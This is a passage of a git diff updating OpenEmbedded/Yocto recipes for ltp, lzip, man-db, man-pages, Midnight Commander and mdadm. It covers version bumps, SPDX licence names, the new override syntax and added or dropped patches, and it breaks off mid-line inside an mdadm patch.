${prefix}/testcases/open_posix_testsuite/* ${prefix}/testcases/open_posix_testsuite/conformance/* ${prefix}/testcases/open_posix_testsuite/Documentation/* ${prefix}/testcases/open_posix_testsuite/functional/* ${prefix}/testcases/open_posix_testsuite/include/* ${prefix}/testcases/open_posix_testsuite/scripts/* ${prefix}/testcases/open_posix_testsuite/stress/* ${prefix}/testcases/open_posix_testsuite/tools/* ${prefix}/testcases/data/nm01/lib.a ${prefix}/lib/libmem.a" +FILES:${PN} += "${prefix}/* ${prefix}/runtest/* ${prefix}/scenario_groups/* ${prefix}/testcases/bin/* ${prefix}/testcases/bin/*/bin/* ${prefix}/testscripts/* ${prefix}/testcases/open_posix_testsuite/* ${prefix}/testcases/open_posix_testsuite/conformance/* ${prefix}/testcases/open_posix_testsuite/Documentation/* ${prefix}/testcases/open_posix_testsuite/functional/* ${prefix}/testcases/open_posix_testsuite/include/* ${prefix}/testcases/open_posix_testsuite/scripts/* ${prefix}/testcases/open_posix_testsuite/stress/* ${prefix}/testcases/open_posix_testsuite/tools/* ${prefix}/testcases/data/nm01/lib.a ${prefix}/lib/libmem.a" # Avoid stripping some generated binaries otherwise some of the ltp tests such as ldd01 & nm01 fail INHIBIT_PACKAGE_STRIP_FILES = "${prefix}/testcases/bin/nm01 ${prefix}/testcases/bin/ldd01" -INSANE_SKIP_${PN} += "already-stripped staticdev" +INSANE_SKIP:${PN} += "already-stripped staticdev" + +remove_broken_musl_sources() { + [ "${TCLIBC}" = "musl" ] || return 0 + + cd ${S} + echo "WARNING: remove unsupported tests (until they're fixed)" + + # sync with upstream + # https://github.com/linux-test-project/ltp/blob/master/ci/alpine.sh#L33 + rm -rfv \ + testcases/kernel/syscalls/confstr/confstr01.c \ + testcases/kernel/syscalls/fmtmsg/fmtmsg01.c \ + testcases/kernel/syscalls/getcontext/getcontext01.c \ + testcases/kernel/syscalls/rt_tgsigqueueinfo/rt_tgsigqueueinfo01.c \ + testcases/kernel/syscalls/timer_create/timer_create01.c \ + testcases/kernel/syscalls/timer_create/timer_create03.c \ + utils/benchmark/ebizzy-0.3 +} +do_patch[postfuncs] += "remove_broken_musl_sources" # Avoid file dependency scans, as LTP checks for things that may or may not # exist on the running system. For instance it has specific checks for # csh and ksh which are not typically part of OpenEmbedded systems (but # can be added via additional layers.) -SKIP_FILEDEPS_${PN} = '1' +SKIP_FILEDEPS:${PN} = '1' diff --git a/meta/recipes-extended/lzip/lzip_1.21.bb b/meta/recipes-extended/lzip/lzip_1.23.bb index bb3d2a6fe3..12e8fa6c58 100644 --- a/meta/recipes-extended/lzip/lzip_1.21.bb +++ b/meta/recipes-extended/lzip/lzip_1.23.bb @@ -1,13 +1,14 @@ SUMMARY = "Lossless data compressor based on the LZMA algorithm" HOMEPAGE = "http://lzip.nongnu.org/lzip.html" +DESCRIPTION = "Lzip is a lossless data compressor with a user interface similar to the one of gzip or bzip2. Lzip uses a simplified form of the Lempel-Ziv-Markov chain-Algorithm (LZMA) stream format, chosen to maximize safety and interoperability." SECTION = "console/utils" -LICENSE = "GPLv2+" +LICENSE = "GPL-2.0-or-later" LIC_FILES_CHKSUM = "file://COPYING;md5=76d6e300ffd8fb9d18bd9b136a9bba13 \ - file://decoder.cc;beginline=3;endline=16;md5=db09fe3f9573f94d0076f7f07959e6e1" + file://decoder.cc;beginline=3;endline=16;md5=18c279060cd0be128188404b45837f88 \ + " SRC_URI = "${SAVANNAH_GNU_MIRROR}/lzip/lzip-${PV}.tar.gz" -SRC_URI[md5sum] = "c0061730d017ea593a09308edc547128" -SRC_URI[sha256sum] = "e48b5039d3164d670791f9c5dbaa832bf2df080cb1fbb4f33aa7b3300b670d8b" +SRC_URI[sha256sum] = "4792c047ddf15ef29d55ba8e68a1a21e0cb7692d87ecdf7204419864582f280d" B = "${WORKDIR}/build" do_configure[cleandirs] = "${B}" diff --git a/meta/recipes-extended/man-db/files/0001-man-Move-local-variable-declaration-to-function-scop.patch b/meta/recipes-extended/man-db/files/0001-man-Move-local-variable-declaration-to-function-scop.patch new file mode 100644 index 0000000000..dc6966629c --- /dev/null +++ b/meta/recipes-extended/man-db/files/0001-man-Move-local-variable-declaration-to-function-scop.patch @@ -0,0 +1,39 @@ +From 126dfefb5fddf411ad0a1316209e9c1b47abfcd2 Mon Sep 17 00:00:00 2001 +From: Khem Raj <raj.khem@gmail.com> +Date: Wed, 9 Feb 2022 17:30:16 -0800 +Subject: [PATCH] man: Move local variable declaration to function scope + +There is a clang bug [1] unearthed here, so help clang by re-arranging +code without changing the logic, until its fixed in clang + +[1] https://github.com/llvm/llvm-project/issues/53692 + +Upstream-Status: Inappropriate [Inappropriate: Clang bug] +Signed-off-by: Khem Raj <raj.khem@gmail.com> + +--- + src/man.c | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +diff --git a/src/man.c b/src/man.c +index f16fae8..333df03 100644 +--- a/src/man.c ++++ b/src/man.c +@@ -352,7 +352,7 @@ static void init_html_pager (void) + static error_t parse_opt (int key, char *arg, struct argp_state *state) + { + static bool apropos, whatis; /* retain values between calls */ +- ++ char *s; + /* Please keep these keys in the same order as in options above. */ + switch (key) { + case 'C': +@@ -384,7 +384,7 @@ static error_t parse_opt (int key, char *arg, struct argp_state *state) + case OPT_WARNINGS: + #ifdef NROFF_WARNINGS + { +- char *s = xstrdup ++ s = xstrdup + (arg ? arg : default_roff_warnings); + const char *warning; + diff --git a/meta/recipes-extended/man-db/man-db_2.10.1.bb b/meta/recipes-extended/man-db/man-db_2.10.1.bb new file mode 100644 index 0000000000..e8fd47a8f7 --- /dev/null +++ b/meta/recipes-extended/man-db/man-db_2.10.1.bb @@ -0,0 +1,68 @@ +SUMMARY = "An implementation of the standard Unix documentation system accessed using the man command" +HOMEPAGE = "http://man-db.nongnu.org/" +DESCRIPTION = "man-db is an implementation of the standard Unix documentation system accessed using the man command. It uses a Berkeley DB database in place of the traditional flat-text whatis databases." +LICENSE = "LGPL-2.1-only & GPL-2.0-only" +LIC_FILES_CHKSUM = "file://COPYING.LIB;md5=4fbd65380cdd255951079008b364516c \ + file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263" + +SRC_URI = "${SAVANNAH_NONGNU_MIRROR}/man-db/man-db-${PV}.tar.xz \ + file://99_mandb \ + file://0001-man-Move-local-variable-declaration-to-function-scop.patch \ + file://man_db.conf-avoid-multilib-install-file-conflict.patch" +SRC_URI[sha256sum] = "2ffd8f2e80122fe72e60c740c851e6a3e15c9a7921185eb4752c1c672824bed6" + +DEPENDS = "libpipeline gdbm groff-native base-passwd" +RDEPENDS:${PN} += "base-passwd" +PACKAGE_WRITE_DEPS += "base-passwd" + +# | /usr/src/debug/man-db/2.8.0-r0/man-db-2.8.0/src/whatis.c:939: undefined reference to `_nl_msg_cat_cntr' +USE_NLS:libc-musl = "no" + +inherit gettext pkgconfig autotools systemd + +EXTRA_OECONF = "--with-pager=less --with-systemdsystemunitdir=${systemd_system_unitdir}" +EXTRA_AUTORECONF += "-I ${S}/gl/m4" + +PACKAGECONFIG[bzip2] = "--with-bzip2=bzip2,ac_cv_prog_have_bzip2='',bzip2" +PACKAGECONFIG[gzip] = "--with-gzip=gzip,ac_cv_prog_have_gzip='',gzip" +PACKAGECONFIG[lzip] = "--with-lzip=lzip,ac_cv_prog_have_lzip='',lzip" +PACKAGECONFIG[lzma] = "--with-lzma=lzma,ac_cv_prog_have_lzma='',xz" +PACKAGECONFIG[zstd] = "--with-zstd=zstd,ac_cv_prog_have_zstd='',zstd" +PACKAGECONFIG[xz] = "--with-xz=xz,ac_cv_prog_have_xz='',xz" + +do_install() { + autotools_do_install + + if ${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'true', 'false', d)}; then + install -d ${D}/etc/default/volatiles + install -m 0644 ${WORKDIR}/99_mandb ${D}/etc/default/volatiles + fi +} + +do_install:append:libc-musl() { + rm -f ${D}${libdir}/charset.alias +} + +FILES:${PN} += "${prefix}/lib/tmpfiles.d" + +FILES:${PN}-dev += "${libdir}/man-db/libman.so ${libdir}/${BPN}/libmandb.so" + +RDEPENDS:${PN} += "groff" +RRECOMMENDS:${PN} += "less" +RPROVIDES:${PN} += " man" + +def compress_pkg(d): + if bb.utils.contains("INHERIT", "compress_doc", True, False, d): + compress = d.getVar("DOC_COMPRESS") + if compress == "gz": + return "gzip" + elif compress == "bz2": + return "bzip2" + elif compress == "xz": + return "xz" + return "" + +RDEPENDS:${PN} += "${@compress_pkg(d)}" + +SYSTEMD_SERVICE:${PN} = "man-db.timer man-db.service" +SYSTEMD_AUTO_ENABLE ?= "disable" diff --git a/meta/recipes-extended/man-db/man-db_2.9.3.bb b/meta/recipes-extended/man-db/man-db_2.9.3.bb deleted file mode 100644 index 0e6016a73c..0000000000 --- a/meta/recipes-extended/man-db/man-db_2.9.3.bb +++ /dev/null @@ -1,58 +0,0 @@ -SUMMARY = "An implementation of the standard Unix documentation system accessed using the man command" -HOMEPAGE = "http://man-db.nongnu.org/" -LICENSE = "LGPLv2.1 & GPLv2" -LIC_FILES_CHKSUM = "file://docs/COPYING.LIB;md5=a6f89e2100d9b6cdffcea4f398e37343 \ - file://docs/COPYING;md5=eb723b61539feef013de476e68b5c50a" - -SRC_URI = "${SAVANNAH_NONGNU_MIRROR}/man-db/man-db-${PV}.tar.xz \ - file://99_mandb \ - file://man_db.conf-avoid-multilib-install-file-conflict.patch" -SRC_URI[sha256sum] = "fa5aa11ab0692daf737e76947f45669225db310b2801a5911bceb7551c5597b8" - -DEPENDS = "libpipeline gdbm groff-native base-passwd" -RDEPENDS_${PN} += "base-passwd" - -# | /usr/src/debug/man-db/2.8.0-r0/man-db-2.8.0/src/whatis.c:939: undefined reference to `_nl_msg_cat_cntr' -USE_NLS_libc-musl = "no" - -inherit gettext pkgconfig autotools systemd - -EXTRA_OECONF = "--with-pager=less --with-systemdsystemunitdir=${systemd_unitdir}/system" -EXTRA_AUTORECONF += "-I ${S}/gl/m4" - -do_install() { - autotools_do_install - - if ${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'true', 'false', d)}; then - install -d ${D}/etc/default/volatiles - install -m 0644 ${WORKDIR}/99_mandb ${D}/etc/default/volatiles - fi -} - -do_install_append_libc-musl() { - rm -f ${D}${libdir}/charset.alias -} - -FILES_${PN} += "${prefix}/lib/tmpfiles.d" - -FILES_${PN}-dev += "${libdir}/man-db/libman.so ${libdir}/${BPN}/libmandb.so" - -RDEPENDS_${PN} += "groff" -RRECOMMENDS_${PN} += "less" -RPROVIDES_${PN} += " man" - -def compress_pkg(d): - if bb.utils.contains("INHERIT", "compress_doc", True, False, d): - compress = d.getVar("DOC_COMPRESS") - if compress == "gz": - return "gzip" - elif compress == "bz2": - return "bzip2" - elif compress == "xz": - return "xz" - return "" - -RDEPENDS_${PN} += "${@compress_pkg(d)}" - -SYSTEMD_SERVICE_${PN} = "man-db.timer man-db.service" -SYSTEMD_AUTO_ENABLE ?= "disable" diff --git a/meta/recipes-extended/man-pages/man-pages_5.07.bb b/meta/recipes-extended/man-pages/man-pages_5.13.bb index 04d0597b3d..c0198b77be 100644 --- a/meta/recipes-extended/man-pages/man-pages_5.07.bb +++ b/meta/recipes-extended/man-pages/man-pages_5.13.bb @@ -2,13 +2,12 @@ SUMMARY = "Linux man-pages" DESCRIPTION = "The Linux man-pages project documents the Linux kernel and C library interfaces that are employed by user programs" SECTION = "console/utils" HOMEPAGE = "http://www.kernel.org/pub/linux/docs/man-pages" -LICENSE = "GPLv2+" +LICENSE = "GPL-2.0-or-later" -LIC_FILES_CHKSUM = "file://README;md5=207f70f56526417514ac46b6680e314f" +LIC_FILES_CHKSUM = "file://README;md5=92cd5ee2e0b35d782817e7e277b6ce4b" SRC_URI = "${KERNELORG_MIRROR}/linux/docs/${BPN}/${BP}.tar.gz" -SRC_URI[md5sum] = "193d9223e9c6dbe1d928eaaecc1f68db" -SRC_URI[sha256sum] = "5ba58d7b2b9a8929903b1cf791ed4edf72ab225678d5ea0a6b80dc090080ac33" +SRC_URI[sha256sum] = "ed615e9a31978833f59e7316667b9aeffbbdb0a92d1391f9c66fadc6e77d0da8" inherit manpages @@ -21,17 +20,17 @@ do_configure[noexec] = "1" do_compile[noexec] = "1" do_install() { - oe_runmake install DESTDIR=${D} + oe_runmake install prefix=${prefix} DESTDIR=${D} } -# Only deliveres man-pages so FILES_${PN} gets everything -FILES_${PN}-doc = "" -FILES_${PN} = "${mandir}/*" +# Only deliveres man-pages so FILES:${PN} gets everything +FILES:${PN}-doc = "" +FILES:${PN} = "${mandir}/*" inherit update-alternatives ALTERNATIVE_PRIORITY = "100" -ALTERNATIVE_${PN} = "passwd.5 getspnam.3 crypt.3" +ALTERNATIVE:${PN} = "passwd.5 getspnam.3 crypt.3" ALTERNATIVE_LINK_NAME[passwd.5] = "${mandir}/man5/passwd.5" ALTERNATIVE_LINK_NAME[getspnam.3] = "${mandir}/man3/getspnam.3" ALTERNATIVE_LINK_NAME[crypt.3] = "${mandir}/man3/crypt.3" diff --git a/meta/recipes-extended/mc/files/0001-Ticket-4070-misc-Makefile.am-install-mc.lib-only-onc.patch b/meta/recipes-extended/mc/files/0001-Ticket-4070-misc-Makefile.am-install-mc.lib-only-onc.patch deleted file mode 100644 index 824c12f8d2..0000000000 --- a/meta/recipes-extended/mc/files/0001-Ticket-4070-misc-Makefile.am-install-mc.lib-only-onc.patch +++ /dev/null @@ -1,59 +0,0 @@ -From 58dd59637ac5c6340ddfe96ad8b76883e4da20ef Mon Sep 17 00:00:00 2001 -From: Sergei Trofimovich <slyfox@gentoo.org> -Date: Tue, 3 Mar 2020 09:26:12 +0000 -Subject: [PATCH] Ticket #4070: misc/Makefile.am: install mc.lib only once. - -Before the change mc.lib was installed twice due to being -in two _DATA variables: - -dist_pkgdata_DATA = \ - mc.lib - -pkgdata_DATA = \ - $(dist_pkgdata_DATA) \ - $(PKGDATA_OUT) - -This causes occasional install failures when two parallel -`/usr/bin/install` calls race in installing the file: - -$ make -j20 DESTDIR=/var/tmp/portage/app-misc/mc-4.8.24/image install -... - /usr/lib/portage/python3.6/ebuild-helpers/xattr/install \ - -c -m 644 mc.lib '/var/tmp/portage/app-misc/mc-4.8.24/image/usr/share/mc' - /usr/lib/portage/python3.6/ebuild-helpers/xattr/install \ - -c -m 644 mc.lib mc.charsets '/var/tmp/portage/app-misc/mc-4.8.24/image/usr/share/mc' -... - /usr/bin/install: cannot create regular file - '/var/tmp/portage/app-misc/mc-4.8.24/image/usr/share/mc/mc.lib': File exists - -After the change mc.lib is present only in dist_pkgdata_DATA. - -Upstream-Status: Backport [https://github.com/MidnightCommander/mc/commit/afb09f7cd7024484845ade25e15b8b93d6cf2d2c] - -Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org> -Signed-off-by: Andrew Borodin <aborodin@vmail.ru> -Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com> ---- - misc/Makefile.am | 2 -- - 1 file changed, 2 deletions(-) - -diff --git a/misc/Makefile.am b/misc/Makefile.am -index 8ed1826..24f4a0e 100644 ---- a/misc/Makefile.am -+++ b/misc/Makefile.am -@@ -17,7 +17,6 @@ dist_pkgdata_DATA = \ - mc.lib - - pkgdata_DATA = \ -- $(dist_pkgdata_DATA) \ - $(PKGDATA_OUT) - - SCRIPTS_IN = \ -@@ -54,7 +53,6 @@ EXTRA_DIST = \ - $(LIBFILES_SCRIPT) \ - $(SCRIPTS_IN) \ - $(noinst_DATA) \ -- $(dist_pkgdata_DATA) \ - $(PKGDATA_IN) - - install-data-hook: diff --git a/meta/recipes-extended/mc/files/0001-Ticket-4200-fix-FTBFS-with-ncurses-build-with-disabl.patch b/meta/recipes-extended/mc/files/0001-Ticket-4200-fix-FTBFS-with-ncurses-build-with-disabl.patch new file mode 100644 index 0000000000..408473664f --- /dev/null +++ b/meta/recipes-extended/mc/files/0001-Ticket-4200-fix-FTBFS-with-ncurses-build-with-disabl.patch @@ -0,0 +1,87 @@ +From e7bbf72544ab62db9c92bfe7bd1155227e78c621 Mon Sep 17 00:00:00 2001 +From: Andrew Borodin <aborodin@vmail.ru> +Date: Sat, 28 Aug 2021 11:46:53 +0300 +Subject: [PATCH] Ticket #4200: fix FTBFS with ncurses build with + --disable-widec. + +Upstream-Status: Accepted [https://github.com/MidnightCommander/mc/commit/e7bbf72544] +Signed-off-by: Andrew Borodin <aborodin@vmail.ru> +--- + lib/tty/tty-ncurses.c | 8 ++++++++ + lib/tty/tty-ncurses.h | 5 +++++ + lib/tty/tty-slang.h | 2 ++ + src/filemanager/boxes.c | 2 ++ + 4 files changed, 17 insertions(+) + +diff --git a/lib/tty/tty-ncurses.c b/lib/tty/tty-ncurses.c +index f619c0a7bf31..13058a624208 100644 +--- a/lib/tty/tty-ncurses.c ++++ b/lib/tty/tty-ncurses.c +@@ -560,6 +560,7 @@ tty_fill_region (int y, int x, int rows, int cols, unsigned char ch) + void + tty_colorize_area (int y, int x, int rows, int cols, int color) + { ++#ifdef ENABLE_SHADOWS + cchar_t *ctext; + wchar_t wch[10]; /* TODO not sure if the length is correct */ + attr_t attrs; +@@ -585,6 +586,13 @@ tty_colorize_area (int y, int x, int rows, int cols, int color) + } + + g_free (ctext); ++#else ++ (void) y; ++ (void) x; ++ (void) rows; ++ (void) cols; ++ (void) color; ++#endif /* ENABLE_SHADOWS */ + } + + /* --------------------------------------------------------------------------------------------- */ +diff --git a/lib/tty/tty-ncurses.h b/lib/tty/tty-ncurses.h +index d75df9533ab9..8feb17ccd045 100644 +--- a/lib/tty/tty-ncurses.h ++++ b/lib/tty/tty-ncurses.h +@@ -30,6 +30,11 @@ + #define NCURSES_CONST const + #endif + ++/* do not draw shadows if NCurses is built with --disable-widec */ ++#if defined(NCURSES_WIDECHAR) && NCURSES_WIDECHAR ++#define ENABLE_SHADOWS 1 ++#endif ++ + /*** typedefs(not structures) and defined constants **********************************************/ + + /*** enums ***************************************************************************************/ +diff --git a/lib/tty/tty-slang.h b/lib/tty/tty-slang.h +index 5b12c6512853..eeaade388af4 100644 +--- a/lib/tty/tty-slang.h ++++ b/lib/tty/tty-slang.h +@@ -23,6 +23,8 @@ + #define COLS SLtt_Screen_Cols + #define LINES SLtt_Screen_Rows + ++#define ENABLE_SHADOWS 1 ++ + /*** enums ***************************************************************************************/ + + enum +diff --git a/src/filemanager/boxes.c b/src/filemanager/boxes.c +index 3eb525be4a9b..98df5ff2ed9a 100644 +--- a/src/filemanager/boxes.c ++++ b/src/filemanager/boxes.c +@@ -280,7 +280,9 @@ appearance_box_callback (Widget * w, Widget * sender, widget_msg_t msg, int parm + switch (msg) + { + case MSG_INIT: ++#ifdef ENABLE_SHADOWS + if (!tty_use_colors ()) ++#endif + { + Widget *shadow; + +-- +2.34.1 + diff --git a/meta/recipes-extended/mc/files/nomandate.patch b/meta/recipes-extended/mc/files/nomandate.patch index 48bd73b110..c01d065b0e 100644 --- a/meta/recipes-extended/mc/files/nomandate.patch +++ b/meta/recipes-extended/mc/files/nomandate.patch @@ -1,6 +1,14 @@ +From f02010965af21db018c4e108b2193c872406a314 Mon Sep 17 00:00:00 2001 +From: Richard Purdie <richard.purdie@linuxfoundation.org> +Date: Tue, 4 Feb 2020 18:12:15 +0000 +Subject: [PATCH] mc: Fix manpage date indeterminism +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + The man page date can vary depending upon the host perl, e.g. in Russian some versions print 'июня', others 'Июнь' or Polish 'czerwca' or 'czerwiec'. -Rather than depend upon perl-native to fix this, just remove the date from +Rather than depend upon perl-native to fix this, just remove the date from the manpages. RP 2020/2/4 @@ -8,14 +16,18 @@ RP 2020/2/4 Upstream-Status: Inappropriate [OE specficic reproducibility workaround] Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org> -Index: mc-4.8.23/doc/man/date-of-man-include.am -=================================================================== ---- mc-4.8.23.orig/doc/man/date-of-man-include.am -+++ mc-4.8.23/doc/man/date-of-man-include.am +--- + doc/man/date-of-man-include.am | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/doc/man/date-of-man-include.am b/doc/man/date-of-man-include.am +index 3a4e599..f11e9b3 100644 +--- a/doc/man/date-of-man-include.am ++++ b/doc/man/date-of-man-include.am @@ -1,5 +1,5 @@ SED_PARAMETERS = \ - -e "s/%DATE_OF_MAN_PAGE%/$${MAN_DATE}/g" \ + -e "s/%DATE_OF_MAN_PAGE%//g" \ - -e "s/%DISTR_VERSION%/@DISTR_VERSION@/g" \ + -e "s/%MAN_VERSION%/@MAN_VERSION@/g" \ -e "s{%prefix%{@prefix@{g" \ -e "s{%sysconfdir%{@sysconfdir@{g" \ diff --git a/meta/recipes-extended/mc/mc_4.8.24.bb b/meta/recipes-extended/mc/mc_4.8.27.bb index 034df2a422..564599fdf6 100644 --- a/meta/recipes-extended/mc/mc_4.8.24.bb +++ b/meta/recipes-extended/mc/mc_4.8.27.bb @@ -1,19 +1,23 @@ SUMMARY = "Midnight Commander is an ncurses based file manager" HOMEPAGE = "http://www.midnight-commander.org/" -LICENSE = "GPLv3" +DESCRIPTION = "GNU Midnight Commander is a visual file manager, licensed under GNU General Public License and therefore qualifies as Free Software. It's a feature rich full-screen text mode application that allows you to copy, move and delete files and whole directory trees, search for files and run commands in the subshell. Internal viewer and editor are included." +LICENSE = "GPL-3.0-only" LIC_FILES_CHKSUM = "file://COPYING;md5=270bbafe360e73f9840bd7981621f9c2" SECTION = "console/utils" -DEPENDS = "ncurses glib-2.0 util-linux" -RDEPENDS_${PN} = "ncurses-terminfo-base" -RRECOMMENDS_${PN} = "ncurses-terminfo" +DEPENDS = "ncurses glib-2.0 util-linux file-replacement-native" +RDEPENDS:${PN} = "ncurses-terminfo-base" +RRECOMMENDS:${PN} = "ncurses-terminfo" SRC_URI = "http://www.midnight-commander.org/downloads/${BPN}-${PV}.tar.bz2 \ file://0001-mc-replace-perl-w-with-use-warnings.patch \ file://nomandate.patch \ - file://0001-Ticket-4070-misc-Makefile.am-install-mc.lib-only-onc.patch \ + file://0001-Ticket-4200-fix-FTBFS-with-ncurses-build-with-disabl.patch \ " -SRC_URI[md5sum] = "2621de1fa9058a9c41a4248becc969f9" -SRC_URI[sha256sum] = "cfcc4d0546d0c3a88645a8bf71612ed36647ea3264d973b1f28183a0c84bae34" +SRC_URI[sha256sum] = "2f52dd9c75c20d8eac7701bd3a8c6c125aaf8cdd9cf12b78ca50a0102b543407" + +# remove at next version upgrade or when output changes +PR = "r1" +HASHEQUIV_HASH_VERSION .= ".2" inherit autotools gettext pkgconfig @@ -24,14 +28,18 @@ PACKAGECONFIG ??= "" PACKAGECONFIG[smb] = "--enable-vfs-smb,--disable-vfs-smb,samba," PACKAGECONFIG[sftp] = "--enable-vfs-sftp,--disable-vfs-sftp,libssh2," +# enable NCURSES_WIDECHAR=1 only if ENABLE_WIDEC has not been explicitly disabled (e.g. by the distro config). +# When compiling against the ncurses library, NCURSES_WIDECHAR needs to explicitly set to 0 in this case. +CFLAGS:append:libc-musl = "${@' -DNCURSES_WIDECHAR=1' if bb.utils.to_boolean((d.getVar('ENABLE_WIDEC') or 'True')) else ' -DNCURSES_WIDECHAR=0'}" EXTRA_OECONF = "--with-screen=ncurses --without-gpm-mouse --without-x --disable-configure-args" +EXTRANATIVEPATH += "file-native" CACHED_CONFIGUREVARS += "ac_cv_path_PERL='/usr/bin/env perl'" CACHED_CONFIGUREVARS += "ac_cv_path_PYTHON='/usr/bin/env python'" CACHED_CONFIGUREVARS += "ac_cv_path_GREP='/usr/bin/env grep'" CACHED_CONFIGUREVARS += "mc_cv_have_zipinfo=yes" -do_install_append () { +do_install:append () { sed -i -e '1s,#!.*perl,#!${bindir}/env perl,' ${D}${libexecdir}/mc/extfs.d/* rm ${D}${libexecdir}/mc/extfs.d/s3+ ${D}${libexecdir}/mc/extfs.d/uc1541 @@ -39,17 +47,17 @@ do_install_append () { PACKAGES =+ "${BPN}-helpers-perl ${BPN}-helpers ${BPN}-fish" -SUMMARY_${BPN}-helpers-perl = "Midnight Commander Perl-based helper scripts" -FILES_${BPN}-helpers-perl = "${libexecdir}/mc/extfs.d/a+ ${libexecdir}/mc/extfs.d/apt+ \ +SUMMARY:${BPN}-helpers-perl = "Midnight Commander Perl-based helper scripts" +FILES:${BPN}-helpers-perl = "${libexecdir}/mc/extfs.d/a+ ${libexecdir}/mc/extfs.d/apt+ \ ${libexecdir}/mc/extfs.d/deb ${libexecdir}/mc/extfs.d/deba \ ${libexecdir}/mc/extfs.d/debd ${libexecdir}/mc/extfs.d/dpkg+ \ ${libexecdir}/mc/extfs.d/mailfs ${libexecdir}/mc/extfs.d/patchfs \ ${libexecdir}/mc/extfs.d/rpms+ ${libexecdir}/mc/extfs.d/ulib \ ${libexecdir}/mc/extfs.d/uzip" -RDEPENDS_${BPN}-helpers-perl = "perl" +RDEPENDS:${BPN}-helpers-perl = "perl" -SUMMARY_${BPN}-helpers = "Midnight Commander shell helper scripts" -FILES_${BPN}-helpers = "${libexecdir}/mc/extfs.d/* ${libexecdir}/mc/ext.d/*" +SUMMARY:${BPN}-helpers = "Midnight Commander shell helper scripts" +FILES:${BPN}-helpers = "${libexecdir}/mc/extfs.d/* ${libexecdir}/mc/ext.d/*" -SUMMARY_${BPN}-fish = "Midnight Commander Fish scripts" -FILES_${BPN}-fish = "${libexecdir}/mc/fish" +SUMMARY:${BPN}-fish = "Midnight Commander Fish scripts" +FILES:${BPN}-fish = "${libexecdir}/mc/fish" diff --git a/meta/recipes-extended/mdadm/files/0001-Compute-abs-diff-in-a-standard-compliant-way.patch b/meta/recipes-extended/mdadm/files/0001-Compute-abs-diff-in-a-standard-compliant-way.patch deleted file mode 100644 index 803a59b3ec..0000000000 --- a/meta/recipes-extended/mdadm/files/0001-Compute-abs-diff-in-a-standard-compliant-way.patch +++ /dev/null @@ -1,31 +0,0 @@ -From b273e892bd6aaafe448f84356abb78a6d463e784 Mon Sep 17 00:00:00 2001 -From: Khem Raj <raj.khem@gmail.com> -Date: Fri, 7 Dec 2018 17:22:39 -0800 -Subject: [PATCH] Compute abs diff in a standard compliant way - -This make it a bit less implementation defined and silences clang -warning -Wabsolute-value - -| super-intel.c:2822:20: error: taking the absolute value of unsigned type 'unsi -gned long long' has no effect [-Werror,-Wabsolute-value] - -Upstream-Status: Pending - -Signed-off-by: Khem Raj <raj.khem@gmail.com> ---- - super-intel.c | 2 +- - 1 file changed, 1 insertion(+), 1 deletion(-) - -diff --git a/super-intel.c b/super-intel.c -index 6438987..10d7218 100644 ---- a/super-intel.c -+++ b/super-intel.c -@@ -2819,7 +2819,7 @@ static unsigned long long calc_component_size(struct imsm_map *map, - * 2048 blocks per each device. If the difference is higher it means - * that array size was expanded and num_data_stripes was not updated. - */ -- if ((unsigned int)abs(calc_dev_size - dev_size) > -+ if ((unsigned int)abs((int)calc_dev_size - (int)dev_size) > - (1 << SECT_PER_MB_SHIFT) * member_disks) { - component_size = dev_size / member_disks; - dprintf("Invalid num_data_stripes in metadata; expected=%llu, found=%llu\n", diff --git a/meta/recipes-extended/mdadm/files/0001-Fix-parsing-of-r-in-monitor-manager-mode.patch b/meta/recipes-extended/mdadm/files/0001-Fix-parsing-of-r-in-monitor-manager-mode.patch new file mode 100644 index 0000000000..3fb46cc60a --- /dev/null +++ b/meta/recipes-extended/mdadm/files/0001-Fix-parsing-of-r-in-monitor-manager-mode.patch @@ -0,0 +1,74 @@ +From 969fbb35e40100f599d4a9781911251f21792698 Mon Sep 17 00:00:00 2001 +From: Changqing Li <changqing.li@windriver.com> +Date: Thu, 27 Jan 2022 17:53:01 +0800 +Subject: [PATCH] Fix parsing of "-r" in monitor/manager mode + +This revert commit 546047688e1 [mdadm: fix coredump of mdadm --monitor +-r], and fix the coredump issue of 'mdadm --monitor -r'. + +commit 546047688e1 make -r not work in manager mode, and testcase +00multipath failed. + +Upstream-Status: Submitted [send to maintainer jsorensen@fb.com] + +Signed-off-by: Changqing Li <changqing.li@windriver.com> + +--- + ReadMe.c | 8 +++++--- + mdadm.c | 2 ++ + mdadm.h | 1 + + 3 files changed, 8 insertions(+), 3 deletions(-) + +diff --git a/ReadMe.c b/ReadMe.c +index 8139976..070eea5 100644 +--- a/ReadMe.c ++++ b/ReadMe.c +@@ -81,11 +81,13 @@ char Version[] = "mdadm - v" VERSION " - " VERS_DATE EXTRAVERSION "\n"; + * found, it is started. + */ + +-char short_options[]="-ABCDEFGIQhVXYWZ:vqbc:i:l:p:m:r:n:x:u:c:d:z:U:N:safRSow1tye:k"; ++char short_options[]="-ABCDEFGIQhVXYWZ:vqbc:i:l:p:m:n:x:u:c:d:z:U:N:sarfRSow1tye:k:"; + char short_bitmap_options[]= +- "-ABCDEFGIQhVXYWZ:vqb:c:i:l:p:m:r:n:x:u:c:d:z:U:N:sarfRSow1tye:k:"; ++ "-ABCDEFGIQhVXYWZ:vqb:c:i:l:p:m:n:x:u:c:d:z:U:N:sarfRSow1tye:k:"; + char short_bitmap_auto_options[]= +- "-ABCDEFGIQhVXYWZ:vqb:c:i:l:p:m:r:n:x:u:c:d:z:U:N:sa:rfRSow1tye:k:"; ++ "-ABCDEFGIQhVXYWZ:vqb:c:i:l:p:m:n:x:u:c:d:z:U:N:sa:rfRSow1tye:k:"; ++char short_increment_options[]= ++ "-ABCDEFGIQhVXYWZ:vqbc:i:l:r:p:m:n:x:u:c:d:z:U:N:safRSow1tye:k:"; + + struct option long_options[] = { + {"manage", 0, 0, ManageOpt}, +diff --git a/mdadm.c b/mdadm.c +index 26299b2..2a3b2ee 100644 +--- a/mdadm.c ++++ b/mdadm.c +@@ -227,6 +227,7 @@ int main(int argc, char *argv[]) + shortopt = 